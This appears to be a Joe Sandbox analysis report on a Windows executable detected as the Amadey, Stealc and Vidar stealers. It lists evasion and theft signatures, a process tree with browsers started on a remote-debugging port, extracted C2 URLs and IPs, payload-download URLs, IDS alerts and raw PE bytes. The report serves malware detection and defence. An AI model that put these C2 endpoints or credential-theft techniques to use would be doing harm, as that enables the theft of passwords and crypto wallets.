Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1570979
MD5:	5282d7feebf600d675b428a5ae1f000c
SHA1:	d693c04b717704567d1e9165997e9c2fddd1b7f8
SHA256:	5af770df514a795074bf7c7baac9ce29f273da59c8a261664dc5eec3d35d1c28
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3660 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5282D7FEEBF600D675B428A5AE1F000C)

chrome.exe (PID: 6196 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 2448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2040,i,4991592399884390181,5857060329787244527,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 8112 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7892 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2128,i,7367324743723620747,13671765739896702745,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7420 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\DGIJDAFCFH.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DGIJDAFCFH.exe (PID: 1592 cmdline: "C:\Users\user\Documents\DGIJDAFCFH.exe" MD5: 68D337CEFD0D798EAE5BB67DABD97D11)

skotes.exe (PID: 7812 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 68D337CEFD0D798EAE5BB67DABD97D11)

msedge.exe (PID: 6248 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7656 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2044,i,3168558762679559794,18055959168976227557,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 7748 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 68D337CEFD0D798EAE5BB67DABD97D11)

skotes.exe (PID: 7456 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 68D337CEFD0D798EAE5BB67DABD97D11)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000F.00000002.2751139523.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000002.2751383878.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.3374124442.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2736377583.00000000008C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2737576972.000000000107E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2138686515.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2727214816.00000000002E1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 3660	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3660	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3660	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3660	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.skotes.exe.b10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.skotes.exe.b10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.skotes.exe.b10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.DGIJDAFCFH.exe.2e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3660, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 6196, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:38:09.477767+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49708	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:38:09.356834+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49708	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:38:09.803807+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49708	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:38:11.378672+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49708	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:38:09.933268+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49708	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:38:08.909644+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49708	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:40:06.154196+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50002	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:37:57.892895+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50009	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-08T15:38:12.091735+0100	2803304	3	Unknown Traffic	192.168.2.6	49708	185.215.113.206	80	TCP
2024-12-08T15:38:38.896703+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:40.799178+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:42.076225+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:43.160451+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:46.670842+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:47.724943+0100	2803304	3	Unknown Traffic	192.168.2.6	49787	185.215.113.206	80	TCP
2024-12-08T15:38:53.373562+0100	2803304	3	Unknown Traffic	192.168.2.6	49825	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/mozglue.dlla	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpd6f94fcd407bc03e2fac64c2fd51Extension	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/mine/random.exeS;$	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllW	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllo=k	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000011.00000002.3374124442.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.3660.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C946C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C946C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CA9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA944C0 PK11_PubEncrypt,	0_2_6CA944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA64420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CA64420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA94440 PK11_PrivDecrypt,	0_2_6CA94440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CAE25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CA7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA78670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CA78670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CA9A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CABA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CAC0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CA943B0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49987 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2750759089.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2750759089.000000006CB6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49708 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49708 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49708
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49708 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49708
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49708 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:50002 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:50009

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 14:38:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 